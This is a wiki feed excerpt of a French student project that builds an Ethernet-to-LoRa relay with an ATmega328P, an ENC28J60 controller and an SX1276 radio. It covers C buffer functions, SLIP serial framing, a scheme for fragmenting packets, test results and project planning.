Ensuite nous avons passé en deuxième partie, au lieu d'enregistrer des paquets dans la mémoire d'Arduino nous voulions directement utiliser enc28j60 pour envoyer et recevoir des données. Pour cela nous avons changé un peu la fonction dans la librairie. A la place d'appeler la fonction '''enc28j60PacketSend(unsigned int len,unsigned char* packet)''' nous écrivions trois autres fonctions qui permettent initialiser le buffer, écrire un octet sur buffer et finalise envoyer cet octet.Voici ces 3 fonctions&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the Send Buffer&lt;br /&gt;
int sendlen;&lt;br /&gt;
void enc28j60InitializeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the write pointer to start of the transmit buffer area&lt;br /&gt;
	enc28j60Write(EWRPTL, TXSTART_INIT);&lt;br /&gt;
	enc28j60Write(EWRPTH, TXSTART_INIT&amp;gt;&amp;gt;8);&lt;br /&gt;
	sendlen = 0;&lt;br /&gt;
	enc28j60WriteByteSend(0x00);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that writes un octet in the buffer&lt;br /&gt;
&lt;br /&gt;
void enc28j60WriteByteSend(unsigned char byte)&lt;br /&gt;
{&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_WRITE_BUF_MEM, 0, byte);&lt;br /&gt;
	sendlen++;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that finalizes the sending of the byte&lt;br /&gt;
&lt;br /&gt;
void enc28j60FinalizeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the TXND pointer to correspond to the packet size given&lt;br /&gt;
        enc28j60Write(ETXNDL, (TXSTART_INIT+sendlen));&lt;br /&gt;
        enc28j60Write(ETXNDH, (TXSTART_INIT+sendlen)&amp;gt;&amp;gt;8);		&lt;br /&gt;
	// send the contents of the transmit buffer onto the network&lt;br /&gt;
        enc28j60WriteOp(ENC28J60_BIT_FIELD_SET, ECON1, ECON1_TXRTS);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc dans le code main, nous avons écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else{send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
	 		&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et cela marche aussi.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping.jpg|thumb|upright=2|ping]]&lt;br /&gt;
|[[Fichier:tcpdump.jpg|thumb|upright=2|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi remplacé la fonction '''enc28j60PacketReceive(unsigned int maxlen, unsigned char* packet)''' par 3 fonctions.&lt;br /&gt;
La première fonction permet d'initialiser le buffer de recevoir et voir s'il y a un paquet est reçu.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the receive buffer&lt;br /&gt;
unsigned int enc28j60PacketReceive(void)&lt;br /&gt;
{&lt;br /&gt;
	uint16_t rcvlen;&lt;br /&gt;
        uint16_t rxstat;&lt;br /&gt;
	&lt;br /&gt;
	// check if a packet has been received and buffered&lt;br /&gt;
	if(enc28j60Read(EPKTCNT)==0) &lt;br /&gt;
	{&lt;br /&gt;
		return(0);&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	// set the read pointer to the start of the received packet&lt;br /&gt;
	enc28j60Write(ERDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	&lt;br /&gt;
	// read the next packet pointer&lt;br /&gt;
	NextPacketPtr = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	NextPacketPtr |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
&lt;br /&gt;
	// read the packet length&lt;br /&gt;
	rcvlen = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rcvlen |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	// read the receive status&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	return(rcvlen);	&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La seconde fonction permets de lire un seul octet dans un paquet&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
unsigned char enc28j60ByteRead(void)&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
	return enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La troisième fonction permets de libérer le buffer&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void enc28j60FreeMemory(void)&lt;br /&gt;
{       &lt;br /&gt;
	// move the RX read pointer to the start of the next received packet&lt;br /&gt;
	// this frees the memory we just read out&lt;br /&gt;
	enc28j60Write(ERXRDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERXRDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_BIT_FIELD_SET,ECON2,ECON2_PKTDEC);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc le code principal est&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		//nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive();&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=enc28j60ByteRead(); index_ethernet++;&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else&lt;br /&gt;
		{&lt;br /&gt;
			send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);&lt;br /&gt;
			enc28j60FreeMemory(); &lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Avec toutes ces modifications, ces deux cartes Ethernet peuvent communiquer entre eux.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping1.jpg|thumb|upright=1.5|ping]]&lt;br /&gt;
|[[Fichier:tcpdump1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|[[Fichier:communication1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet+LoRa  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
Pour cette partie, nous essayons de mettre toutes les cartes ensemble: enc28j60+arduino+LoRa afin de réaliser la réussite de la transmission et la réception des paquets Ethernet. Cependant, nous avons rencontré deux problèmes principaux&lt;br /&gt;
* Le choix de CS d'Arduino&lt;br /&gt;
* La correspondance de la taille du paquet&lt;br /&gt;
1). Pour le premier problème, des fonctions de SPI sont déjà définies par les fonctions dans la librairie de l'enc28j60, au lieu d'utiliser des fonctions définies nous avons appelé directement la fonction '''spi_init()''' dans le répertoire SPI du LoRa. Ensuite nous avons changé le pin de CS de l'enc28j60 pour que les deux cartes puissent travailler une après l'autre.  &lt;br /&gt;
&lt;br /&gt;
2). Lorsque la longueur d'un paquet Ethernet peut atteindre 1500 octets mais la longueur maximal d'un paquet d'être enregistré dans le buffer du LoRa ne fait que 255 octets, donc nous avions le problème de correspondance de la taille du paquet. Pour résoudre ce problème nous avons fait la fragmentation. Nous avons créé un tableau de 64 octets, ensuite nous avons remplit ce tableau octet par octet. Le dernier octet est réservé pour dire le numéro du fragment et vérifier si c'est la fin du paquet.Quant à la réception, le récepteur doit recevoir des fragments en ordre. Une fois qu'il loupe un fragment, le récepteur va s'arrêter de capter des paquets et attend l'arrivée de nouveau paquet .&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:fragment.jpg|thumb|upright=2|Fragments du paquet]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
Après bien avoir étudié des caratères de module LoRa SX1276 et la carte Ethernet réseau ENC28J60, pour leur faire communiquer nous avons écrit un algorithme &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Boucle&lt;br /&gt;
    Si pas de paquet Ethernet en stock Alors&lt;br /&gt;
      tenter de lire un paquet Ethernet pour le mettre en stock&lt;br /&gt;
    FSi&lt;br /&gt;
    Si pas de réception en cours Alors&lt;br /&gt;
      Si paquet Ethernet en stock Alors&lt;br /&gt;
        envoyer un fragment LoRA&lt;br /&gt;
        Si dernier fragment Alors&lt;br /&gt;
          libérer la mémoire du paquet Ethernet&lt;br /&gt;
          attendre un paquet LoRa un temps raisonnable&lt;br /&gt;
        Fsi&lt;br /&gt;
      Sinon&lt;br /&gt;
        Si un paquet Ethernet vient d'être reçu par LoRa Alors&lt;br /&gt;
          envoyer un paquet LoRa de taille 1&lt;br /&gt;
      FSi&lt;br /&gt;
    Fsi&lt;br /&gt;
    Si pas d'envoi en cours et paquet LoRa reçu Alors&lt;br /&gt;
      Si paquet est un fragment (taille &amp;gt; 1) Alors&lt;br /&gt;
        stocker le fragment dans le tampon d'envoi Ethernet&lt;br /&gt;
        Si dernier fragment Alors&lt;br /&gt;
          envoyer le paquet sur Ethernet&lt;br /&gt;
        FSi&lt;br /&gt;
      FSi&lt;br /&gt;
    FSi&lt;br /&gt;
  FinBoucle&lt;br /&gt;
&amp;lt;/pre&amp;gt; &lt;br /&gt;
En suite nous avons interprété cet algorithme en langage C&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
while(1)&lt;br /&gt;
        {&lt;br /&gt;
                if(nb_ethernet==0)&lt;br /&gt;
                {&lt;br /&gt;
                        nb_ethernet = enc28j60PacketReceive();&lt;br /&gt;
                        if(nb_ethernet&amp;gt;0 &amp;amp;&amp;amp; nb_ethernet&amp;lt;=MAX_ETHERNET)&lt;br /&gt;
                        {&lt;br /&gt;
                                index_ethernet = 0;&lt;br /&gt;
                                num_frag = 0;&lt;br /&gt;
                                output_set(5,1);&lt;br /&gt;
                        }&lt;br /&gt;
                        else nb_ethernet=0;&lt;br /&gt;
                }&lt;br /&gt;
#ifdef VERBOSE&lt;br /&gt;
                printf(&amp;quot;num=%d nb_ethernet=%d\n&amp;quot;,num,nb_ethernet);&lt;br /&gt;
                _delay_ms(100);&lt;br /&gt;
#endif&lt;br /&gt;
                if(num&amp;lt;0)&lt;br /&gt;
                {&lt;br /&gt;
                        if(nb_ethernet&amp;gt;0)&lt;br /&gt;
                        {&lt;br /&gt;
                                int i;&lt;br /&gt;
                                num=-1; rxmode=0;&lt;br /&gt;
                                if(index_ethernet &amp;lt; nb_ethernet)&lt;br /&gt;
                                {&lt;br /&gt;
                                        for(i=0;(i&amp;lt;MAX_FRAGMENT) &amp;amp;&amp;amp; (index_ethernet&amp;lt;nb_ethernet);i++)&lt;br /&gt;
                                        {&lt;br /&gt;
                                                unsigned char c = enc28j60ByteRead();&lt;br /&gt;
                                                index_ethernet++;&lt;br /&gt;
                                                packet_lora[i]=c;&lt;br /&gt;
                                        }&lt;br /&gt;
                                        if(index_ethernet &amp;lt; nb_ethernet) packet_lora[i]=0x00;&lt;br /&gt;
                                        else packet_lora[i]=0x80;&lt;br /&gt;
                                        packet_lora[i] |= num_frag++;&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                                        printf(&amp;quot;ether=%d/%d num_frag=%02x taille=%d\n&amp;quot;,index_ethernet,nb_ethernet,packet_lora[i],i+1);&lt;br /&gt;
#endif&lt;br /&gt;
                                        sx1276_LoRaEntryTx();&lt;br /&gt;
                                        output_set(4,1);&lt;br /&gt;
                                        sx1276_LoRaTxPacket(packet_lora,i+1);           //transmission from LoraServer&lt;br /&gt;
                                        sx1276_LoRaTxReady();&lt;br /&gt;
                                        output_set(4,0);&lt;br /&gt;
                                        if(index_ethernet &amp;gt;= nb_ethernet)&lt;br /&gt;
                                        {&lt;br /&gt;
                                                nb_ethernet = 0;&lt;br /&gt;
                                                enc28j60FreeMemory();&lt;br /&gt;
                                                output_set(5,0);&lt;br /&gt;
                                                /* Attendre un paquet LoRa un temps raisonnable */&lt;br /&gt;
                                                unsigned char test=0;&lt;br /&gt;
                                                sx1276_LoRaEntryRx();&lt;br /&gt;
                                                rxmode=1;&lt;br /&gt;
                                                for(i=0;i&amp;lt;MAX_WAIT/GRAIN_WAIT;i++){&lt;br /&gt;
                                                        test=sx1276_LoRaRxTest();&lt;br /&gt;
                                                        if(test) break;&lt;br /&gt;
                                                        _delay_ms(GRAIN_WAIT);&lt;br /&gt;
                                                        }&lt;br /&gt;
                                                if(test){&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                                                        printf(&amp;quot;Got answer!\n&amp;quot;);&lt;br /&gt;
#endif&lt;br /&gt;
                                                        }&lt;br /&gt;
                                        }&lt;br /&gt;
                                        else _delay_ms(10);&lt;br /&gt;
                                }&lt;br /&gt;
                        }&lt;br /&gt;
                        else{&lt;br /&gt;
                                if(num==-2){&lt;br /&gt;
                                        unsigned char c=0;&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                                        printf(&amp;quot;Send void packet\n&amp;quot;);&lt;br /&gt;
#endif&lt;br /&gt;
                                        sx1276_LoRaEntryTx();&lt;br /&gt;
                                        sx1276_LoRaTxPacket(&amp;amp;c,1);&lt;br /&gt;
                                        sx1276_LoRaTxReady();&lt;br /&gt;
                                        num=-1;&lt;br /&gt;
                                }&lt;br /&gt;
                        }&lt;br /&gt;
                }&lt;br /&gt;
                if(index_ethernet&amp;lt;=0 || nb_ethernet==0){&lt;br /&gt;
                        if(!rxmode) sx1276_LoRaEntryRx();&lt;br /&gt;
                        rxmode=1;&lt;br /&gt;
                        }&lt;br /&gt;
                if(rxmode &amp;amp;&amp;amp; (nb_received=sx1276_LoRaRxPacket(packet_received,MAX_FRAGMENT+1))&amp;gt;0)       //receptionfrom LoraClient&lt;br /&gt;
                {&lt;br /&gt;
                        unsigned char header=packet_received[nb_received-1];&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                        printf(&amp;quot;rec=%d h=%02x\n&amp;quot;,nb_received,header);&lt;br /&gt;
#endif&lt;br /&gt;
                        if (nb_received&amp;gt;1)&lt;br /&gt;
                        {&lt;br /&gt;
                                int j;&lt;br /&gt;
                                if(num&amp;gt;=0 &amp;amp;&amp;amp; (header&amp;amp;0x7f)!=num+1) num=-1;&lt;br /&gt;
                                else{&lt;br /&gt;
                                        if(num&amp;lt;0) num=-1;&lt;br /&gt;
                                        if((header&amp;amp;0x7f)==0x00)&lt;br /&gt;
                                        {&lt;br /&gt;
                                                enc28j60InitializeSend();&lt;br /&gt;
                                                output_set(6,1);&lt;br /&gt;
                                        }&lt;br /&gt;
                                        for(j=0;j&amp;lt;nb_received-1;j++) enc28j60WriteByteSend(packet_received[j]);&lt;br /&gt;
                                        if((header&amp;amp;0x80)==0x00) num++;&lt;br /&gt;
                                        else {&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                                                printf(&amp;quot;Ether sending num=%d\n&amp;quot;,num);&lt;br /&gt;
#endif&lt;br /&gt;
                                                num=-2;&lt;br /&gt;
                                                enc28j60FinalizeSend();&lt;br /&gt;
                                                output_set(6,0);&lt;br /&gt;
                                                }&lt;br /&gt;
                                        }&lt;br /&gt;
                        }&lt;br /&gt;
                        rxmode=0;&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                        printf(&amp;quot;num=%d\n&amp;quot;,num);&lt;br /&gt;
#endif&lt;br /&gt;
                }&lt;br /&gt;
        }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons effectué des tests avec un module LoRa et une carte réseau chaque coté, nous avons réussit à envoyer des paquets icmp et des paquets arp.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:0001.jpg|thumb|upright=0.75|manipulation]]&lt;br /&gt;
|[[Fichier:0002.jpg|thumb|upright=0.75|tcpdump+ping]]&lt;br /&gt;
|[[Fichier:0003.jpg|thumb|upright=0.75|tcpdump]]&lt;br /&gt;
|[[Fichier:0004.jpg|thumb|upright=0.75|minicom]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Références =&lt;br /&gt;
&lt;br /&gt;
=== Datasheets ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_cartereseau.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_lora.pdf]]&lt;br /&gt;
&lt;br /&gt;
Micro-controleur Atmega328p: http://www.atmel.com/Images/Atmel-42735-8-bit-AVR-Microcontroller-ATmega328-328P_datasheet.pdf&lt;br /&gt;
&lt;br /&gt;
=== Documentation (Liens utiles) ===&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-feather-32u4-radio-with-lora-radio-module/downloads&lt;br /&gt;
&lt;br /&gt;
Schematic du module radio : http://modtronix.com/prod/imod/inair9/inair9_r1_sch.pdf&lt;br /&gt;
&lt;br /&gt;
Schematic du mbed : https://developer.mbed.org/media/uploads/chris/lpc1768-refdesign-schematic.pdf&lt;br /&gt;
&lt;br /&gt;
Carte MBED à base de microprocesseur ARM Cortex-3 : http://www.rennes.supelec.fr/ren/perso/jweiss/microp/mbed/mbed.php/&lt;br /&gt;
&lt;br /&gt;
Carte MBED : http://elmicro.com/en/mbed-nxp-lpc1768.html&lt;br /&gt;
&lt;br /&gt;
https://github.com/2xs/smews/tree/develop/targets/Arduino_ethernet/drivers&lt;br /&gt;
&lt;br /&gt;
= Rapport du PFE =&lt;br /&gt;
&lt;br /&gt;
Rapport intermédiaire&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Rapport_intermédiairePFE19_Chen_Nduwayo.pdf]]&lt;br /&gt;
&lt;br /&gt;
Rapport final&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Rapport_PFE19_CHEN_NDUWAYO.pdf]]&lt;br /&gt;
&lt;br /&gt;
=Programme du projet=&lt;br /&gt;
[[Fichier:Bridge.zip]]&lt;br /&gt;
&lt;br /&gt;
=Vidéo demonstration du projet=&lt;br /&gt;
&lt;br /&gt;
[[Media:test.mp4]]&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Test.mp4&amp;diff=39603</id>
		<title>Fichier:Test.mp4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Test.mp4&amp;diff=39603"/>
				<updated>2017-02-26T08:36:17Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39602</id>
		<title>P19 Relai Ethernet Lora</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39602"/>
				<updated>2017-02-26T08:28:25Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : /* Vidéo demonstration du projet */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation générale du projet=&lt;br /&gt;
===Contexte du projet===&lt;br /&gt;
&lt;br /&gt;
L'internet des objets est un domaine en pleine croissance qui permet entre autres d'établir des interactions entre des utilisateurs et des objets connectables.&lt;br /&gt;
&lt;br /&gt;
Les domaines d'applications sont diverses et variées: du contrôle des chauffages dans nos maisons en passant par les smart cities,ou encore le tracking des marchandises,..on y retrouve des dispositifs intelligents tels que des capteurs, des interfaces de communication avec d'autres dispositifs,..&lt;br /&gt;
Aujourd'hui plusieurs équipements embarqués voient le jour, cependant les protocoles de communication n'évoluent pas autant, entraînant donc une forte consommation d'énergie, un besoin énorme en termes de mémoire, réseau,..&lt;br /&gt;
&lt;br /&gt;
Semtech,une entreprise grenobloise, crée en 19 un modem radio LoRa adapté aux besoins des objets connectés et offre une technologie de communication à faible consommation d'énergie, une longue portée(pouvant aller jusqu'à 15 km),un débit faible,..&lt;br /&gt;
&lt;br /&gt;
L'actuelle main mise du privé sur les réseaux IP n'est pas forcément une bonne chose pour Internet.&lt;br /&gt;
&lt;br /&gt;
===Objectif du projet===&lt;br /&gt;
&lt;br /&gt;
L'objectif du projet est de réaliser un module autonome connectable sur une box Internet permettant de relier deux sites avec une connexion longue distance.&lt;br /&gt;
[[Fichier:carte.png|500px|center|Schématique de l'objectif du projet]]&lt;br /&gt;
&lt;br /&gt;
===Cahier de charges===&lt;br /&gt;
Le projet se déroulera en deux phases. Nous utiliserons 2 technologies: L'ethernet et la communication par radio fréquences.&lt;br /&gt;
&lt;br /&gt;
Nous réaliserons d'abord un premier prototype construit  autour d'un AtMega328P, d'une carte Ethernet (avec un micro-contrôleur Microchip ENC28J60), et d'un modem radio LoRa.&lt;br /&gt;
Un connecteur USB est prévu pour l'alimentation.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous réaliserons un deuxième prototype sur la base d'un module MBED équipé d'un microcontroleur 32 bits à processeur ARM Cortex M3  , du même modem LoRa.&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi ce processeur pour :&lt;br /&gt;
&lt;br /&gt;
le fait qu'un module Ethernet PHY soit  intégré; qui opère au niveau de la couche physique du modèle OSI et met en œuvre la partie de la couche physique Ethernet du 1000BASE-T, 100BASE-TX, et les normes 10BASE-T.&lt;br /&gt;
&lt;br /&gt;
la vitesse du processeur très élevée,&lt;br /&gt;
&lt;br /&gt;
Présence de plusieurs périphériques série&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne l'environnement de développement,le compilateur MBED permet d'écrire des programmes en C++ qui peuvent être compilés en ligne.&lt;br /&gt;
    &lt;br /&gt;
Nous comptons également utiliser le protocole PoE (Power over Ethernet) pour l'alimentation par le port Ethernet, prévoir un protocole de communication pour la transmission des paquets Ethernet par LoRa.&lt;br /&gt;
&lt;br /&gt;
===Suivi du projet===&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 1 (19/09)&lt;br /&gt;
 | Réunions avec l'encadrant de projet / Définition des objectifs / Recherche bibliographique&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 2 (26/09)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 3 (03/10)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
  ! scope=&amp;quot;row&amp;quot; | Semaine 4 (11/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 5(18/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 6(25/10)&lt;br /&gt;
 | Recherche de la librairie C pour le SX1276&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 7(31/10)&lt;br /&gt;
 | Réalisation des schematics pour la carte1 et création des bibliothèques des composants&lt;br /&gt;
 |-&lt;br /&gt;
&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Planning prévisionnel===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Planning_.pdf]]&lt;br /&gt;
&lt;br /&gt;
